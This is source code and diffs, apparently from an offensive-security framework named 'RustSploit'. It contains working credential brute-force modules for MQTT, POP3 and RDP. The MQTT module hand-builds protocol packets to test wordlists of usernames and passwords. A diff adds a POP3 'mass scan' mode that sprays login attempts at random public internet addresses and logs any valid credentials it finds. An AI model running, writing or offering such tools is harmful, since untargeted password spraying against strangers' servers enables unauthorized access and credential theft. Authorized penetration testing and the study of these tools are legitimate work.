stop_on_success: bool,
verbose: bool,
full_combo: bool,
client_id: String,
test_anonymous: bool,
}
// ============================================================================
// Attack Result
// ============================================================================
#[derive(Debug)]
enum AttackResult {
Success(String, String), // (username, password)
AuthFailed,
ConnectionError(String),
ProtocolError(String),
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
display_banner();
let normalized_target = normalize_target(&target.to_string())?;
println!("{}", format!("[*] Target: {}", normalized_target).cyan());
println!();
// Configuration prompts
let port = prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16;
let use_tls = if port == 8883 {
println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue());
true
} else {
prompt_yes_no("Use TLS/SSL?", false)?
};
let test_anonymous = prompt_yes_no("Test anonymous authentication first?", true)?;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let threads = prompt_int_range("Concurrent connections", 10, 1, 500)? as usize;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
let full_combo = prompt_yes_no("Full combination mode (user × pass)?", false)?;
let verbose = prompt_yes_no("Verbose output?", false)?;
let client_id = prompt_default("MQTT Client ID", "rustsploit_mqtt")?;
let config = MqttConfig {
target: normalized_target,
port,
use_tls,
threads,
stop_on_success,
verbose,
full_combo,
client_id,
test_anonymous,
};
run_bruteforce(config, &username_wordlist, &password_wordlist).await
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MQTT Brute Force Module v2.0 ║".cyan());
println!("{}", "║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
// ============================================================================
// Bruteforce Engine
// ============================================================================
async fn run_bruteforce(
config: MqttConfig,
username_file: &str,
password_file: &str,
) -> Result<()> {
// Build connection address
let addr = format!("{}:{}", config.target, config.port);
// Load wordlists
let usernames = load_lines(username_file)?;
let passwords = load_lines(password_file)?;
if usernames.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
println!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
println!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
let total = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("{}", format!("[*] Total attempts: ~{}", total).cyan());
println!("{}", format!("[*] TLS: {}", if config.use_tls { "Enabled" } else { "Disabled" }).cyan());
println!();
// State
let found: Arc<Mutex<Vec<(String, String)>>> = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let attempts = Arc::new(AtomicUsize::new(0));
// Test anonymous first if requested
if config.test_anonymous {
println!("{}", "[*] Testing anonymous authentication...".blue());
match try_mqtt_auth(&addr, "", "", &config.client_id, config.use_tls).await {
AttackResult::Success(_, _) => {
println!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
found.lock().await.push(("(anonymous)".to_string(), "(no password)".to_string()));
if config.stop_on_success {
print_results(&found, &stats).await;
return Ok(());
}
}
AttackResult::AuthFailed => {
println!("{}", "[-] Anonymous access denied (authentication required)".yellow());
}
AttackResult::ConnectionError(e) => {
println!("{}", format!("[!] Connection error: {}", e).red());
return Err(anyhow!("Cannot connect to MQTT broker: {}", e));
}
AttackResult::ProtocolError(e) => {
println!("{}", format!("[!] Protocol error: {}", e).yellow());
}
}
println!();
}
// Progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_flag.clone();
let attempts_clone = attempts.clone();
let total_clone = total;
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
let current = attempts_clone.load(Ordering::Relaxed);
let pct = if total_clone > 0 { (current * 100) / total_clone } else { 0 };
print!("\r{}", format!("[*] Progress: {}/{} ({}%) ", current, total_clone, pct).blue());
stats_clone.print_progress();
tokio::time::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Semaphore for concurrency control
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate and spawn tasks
if config.full_combo {
// Full combination: every user × every password
for username in &usernames {
if stop_flag.load(Ordering::Relaxed) { break; }
for password in &passwords {
if stop_flag.load(Ordering::Relaxed) { break; }
spawn_attempt(
&mut tasks,
&semaphore,
&config,
&addr,
username.clone(),
password.clone(),
&found,
&stop_flag,
&stats,
&attempts,
).await;
}
}
} else {
// Linear mode: zip users and passwords (cycling shorter list)
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
if stop_flag.load(Ordering::Relaxed) { break; }
let username = &usernames[i % usernames.len()];
let password = &passwords[i % passwords.len()];
spawn_attempt(
&mut tasks,
&semaphore,
&config,
&addr,
username.clone(),
password.clone(),
&found,
&stop_flag,
&stats,
&attempts,
).await;
}
}
// Await all tasks
while let Some(result) = tasks.next().await {
if let Err(e) = result {
if config.verbose {
eprintln!("{}", format!("[!] Task error: {}", e).red());
}
}
}
// Cleanup
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
println!(); // Clear progress line
print_results(&found, &stats).await;
Ok(())
}
async fn spawn_attempt(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
config: &MqttConfig,
addr: &str,
username: String,
password: String,
found: &Arc<Mutex<Vec<(String, String)>>>,
stop_flag: &Arc<AtomicBool>,
stats: &Arc<BruteforceStats>,
attempts: &Arc<AtomicUsize>,
) {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let addr = addr.to_string();
let config = config.clone();
let found = Arc::clone(found);
let stop_flag = Arc::clone(stop_flag);
let stats = Arc::clone(stats);
let attempts = Arc::clone(attempts);
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold until task completes
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) {
return;
}
attempts.fetch_add(1, Ordering::Relaxed);
match try_mqtt_auth(&addr, &username, &password, &config.client_id, config.use_tls).await {
AttackResult::Success(u, p) => {
println!("\r{}", format!("[+] VALID: {}:{}", u, p).green().bold());
found.lock().await.push((u, p));
stats.record_success();
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
}
}
AttackResult::AuthFailed => {
stats.record_failure();
if config.verbose {
println!("\r{}", format!("[-] {}:{}", username, password).dimmed());
}
}
AttackResult::ConnectionError(e) => {
stats.record_error(e.clone()).await;
if config.verbose {
println!("\r{}", format!("[!] Connection: {}", e).yellow());
}
}
AttackResult::ProtocolError(e) => {
stats.record_error(e.clone()).await;
if config.verbose {
println!("\r{}", format!("[!] Protocol: {}", e).yellow());
}
}
}
}));
}
async fn print_results(found: &Arc<Mutex<Vec<(String, String)>>>, stats: &Arc<BruteforceStats>) {
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (user, pass) in creds.iter() {
println!(" {} {}:{}", "".green(), user, pass);
}
}
}
// ============================================================================
// MQTT Protocol Implementation
// ============================================================================
async fn try_mqtt_auth(
addr: &str,
username: &str,
password: &str,
client_id: &str,
_use_tls: bool,
) -> AttackResult {
// Connect with timeout
let stream = match tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
};
// TODO: Add TLS support using tokio-native-tls or tokio-rustls
// For now, we proceed with plain TCP (TLS requires additional dependencies)
match mqtt_handshake(stream, username, password, client_id).await {
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
Ok(false) => AttackResult::AuthFailed,
Err(e) => AttackResult::ProtocolError(e.to_string()),
}
}
async fn mqtt_handshake(
mut stream: TcpStream,
username: &str,
password: &str,
client_id: &str,
) -> Result<bool> {
// Build CONNECT packet
let packet = build_connect_packet(username, password, client_id)?;
// Send CONNECT
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
stream.flush().await.context("Failed to flush")?;
// Read CONNACK
let mut header = [0u8; 2];
let read_result = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut header),
).await;
match read_result {
Ok(Ok(_)) => {}
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
Err(_) => return Err(anyhow!("Read timeout")),
}
if header[0] != MQTT_PACKET_CONNACK {
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
}
let remaining_len = header[1] as usize;
if remaining_len < 2 {
return Err(anyhow!("CONNACK too short"));
}
let mut payload = vec![0u8; remaining_len];
tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut payload),
).await.context("Read timeout")?
.context("Failed to read CONNACK payload")?;
// Parse return code (byte 1 of variable header)
let return_code = MqttReturnCode::from_byte(payload[1]);
// Send DISCONNECT on success
if return_code == MqttReturnCode::Accepted {
let _ = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await;
return Ok(true);
}
if return_code.is_auth_failure() {
return Ok(false);
}
Err(anyhow!("MQTT error: {}", return_code.description()))
}
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
let mut var_header = Vec::new();
// Protocol Name
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
// Protocol Level
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
// Connect Flags
let mut flags = MQTT_FLAG_CLEAN_SESSION;
if !username.is_empty() {
flags |= MQTT_FLAG_USERNAME;
}
if !password.is_empty() {
flags |= MQTT_FLAG_PASSWORD;
}
var_header.push(flags);
// Keep Alive (60 seconds)
var_header.extend_from_slice(&60u16.to_be_bytes());
// Payload
let mut payload = Vec::new();
// Client ID (required)
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
// Username (optional)
if !username.is_empty() {
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
}
// Password (optional)
if !password.is_empty() {
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
}
// Calculate remaining length
let remaining_length = var_header.len() + payload.len();
let remaining_bytes = encode_remaining_length(remaining_length)?;
// Build final packet
let mut packet = Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
packet.push(MQTT_PACKET_CONNECT);
packet.extend_from_slice(&remaining_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
Ok(packet)
}
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
if length > 268_435_455 {
return Err(anyhow!("Packet too large"));
}
let mut bytes = Vec::with_capacity(4);
loop {
let mut byte = (length % 128) as u8;
length /= 128;
if length > 0 {
byte |= 0x80;
}
bytes.push(byte);
if length == 0 {
break;
}
}
Ok(bytes)
}
@@ -1,4 +1,4 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
@@ -15,10 +15,30 @@ use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::BruteforceStats;
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
use std::sync::atomic::AtomicUsize;
use std::net::{IpAddr, SocketAddr};
use tokio::fs::OpenOptions; // For file writing in mass scan
use tokio::io::AsyncWriteExt; // For write_all
const STATE_FILE: &str = "pop3_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
@@ -41,26 +61,35 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let threads = prompt_int_range("Threads", 16, 1, 256).await? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60).await? as u64;
let threads = prompt_int_range("Threads", 16, 1, 256)? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60)? as u64;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", false).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", false)?;
let output_file = prompt_default("Output file for results", "pop3_results.txt").await?;
let output_file = prompt_default("Output file for results", "pop3_results.txt")?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let retry_on_error = prompt_yes_no("Retry failed connections?", true).await?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let retry_on_error = prompt_yes_no("Retry failed connections?", true)?;
let max_retries = if retry_on_error {
prompt_int_range("Max retries", 2, 1, 10).await? as usize
prompt_int_range("Max retries", 2, 1, 10)? as usize
} else {
0
};
@@ -89,10 +118,196 @@ pub async fn run(target: &str) -> Result<()> {
run_pop3_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "pop3_mass_results.txt")?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed, exit loop
};
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await
.context(format!("Failed to read target file: {}", target))?;
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => continue, // Skip this IP if semaphore closed
};
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, bool)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes, use_ssl) = &*creds;
let target_str = ip.to_string();
// Construct a config for the attempt function
// We can't reuse the large config struct easily without creating dummy values,
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
// For now, I'll build a dummy config.
let dummy_wordlist = "dummy".to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_use_ssl = *use_ssl;
let dw = dummy_wordlist.clone();
// Blocking call
let res = tokio::task::spawn_blocking(move || {
let config = Pop3BruteforceConfig {
target: t_target,
port,
username_wordlist: dw.clone(),
password_wordlist: dw.clone(),
threads: 1,
stop_on_success: false,
verbose,
full_combo: false,
use_ssl: t_use_ssl,
connection_timeout: 5, // 5 seconds for login attempt
retry_on_error: false,
max_retries: 0,
output_file: "".to_string(),
delay_ms: 0,
};
attempt_pop3_login(&config, &t_user, &t_pass)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", ip, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
// Auth failed
}
Ok(Err(_)) => {
// Connection error - abort this host
return;
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
// Determine loading strategy
let _user_count = count_lines(&config.username_wordlist)?;
let _pass_count = count_lines(&config.password_wordlist)?;
let _user_count = load_lines(&config.username_wordlist)?.len();
let _pass_count = load_lines(&config.password_wordlist)?.len();
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
@@ -250,12 +465,7 @@ async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
Ok(())
}
fn count_lines(path: &str) -> Result<usize> {
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
use std::io::BufRead;
Ok(reader.lines().count())
}
// Blocking login attempt
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
@@ -1,21 +1,26 @@
use anyhow::{anyhow, Context, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
path::Path,
sync::Arc,
sync::atomic::{AtomicBool, AtomicU64, Ordering},
time::Instant,
};
use tokio::{
io::{AsyncBufReadExt, AsyncWriteExt},
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_port,
prompt_existing_file, prompt_int_range,
load_lines, get_filename_in_current_dir,
};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB
@@ -141,7 +146,7 @@ impl RdpSecurityLevel {
}
}
async fn prompt_selection() -> Result<Self> {
fn prompt_selection() -> Result<Self> {
println!("\nRDP Security Level Options:");
println!(" 1. Auto (let client negotiate)");
println!(" 2. NLA (Network Level Authentication)");
@@ -150,7 +155,7 @@ impl RdpSecurityLevel {
println!(" 5. Negotiate (try all methods)");
loop {
let input = prompt_default("Security level", "1").await?;
let input = prompt_default("Security level", "1")?;
match input.trim() {
"1" => return Ok(RdpSecurityLevel::Auto),
"2" => return Ok(RdpSecurityLevel::Nla),
@@ -246,86 +251,27 @@ pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389").await?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let port: u16 = prompt_port("RDP Port", 3389)?;
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path").await?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let usernames_file_path = prompt_existing_file("Username wordlist")?;
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path").await?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = prompt_existing_file("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10").await?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10").await?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "rdp_results.txt").await?)
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
let security_level = RdpSecurityLevel::prompt_selection().await?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let security_level = RdpSecurityLevel::prompt_selection()?;
let addr = format_socket_address(target, port);
@@ -337,14 +283,14 @@ pub async fn run(target: &str) -> Result<()> {
println!("[*] Timeout: {} seconds", timeout_secs);
// Count lines for display
let user_count = count_lines(&usernames_file_path)?;
let user_count = load_lines(&usernames_file_path)?.len();
if user_count == 0 {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", user_count);
let password_count = count_lines(&passwords_file_path)?;
let password_count = load_lines(&passwords_file_path)?.len();
if password_count == 0 {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
@@ -421,7 +367,7 @@ pub async fn run(target: &str) -> Result<()> {
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
match File::create(&filename).context(format!("Failed to create output file '{}'", filename.display())) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
@@ -432,7 +378,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
eprintln!("[!] {}", e);
}
}
}
@@ -1025,115 +971,13 @@ async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_dura
}
}
async fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut s = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut s)
.await
.context("Failed to read input")?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
async fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut s = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut s)
.await
.context("Failed to read input")?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
async fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut s = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut s)
.await
.context("Failed to read input")?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|line| !line.trim().is_empty())
.count())
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"rdp_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
fn sanitize_rdp_argument(input: &str) -> String {
input.chars()
@@ -0,0 +1,783 @@
use anyhow::{anyhow, Result, Context};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{Write, BufRead, BufReader},
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::Arc,
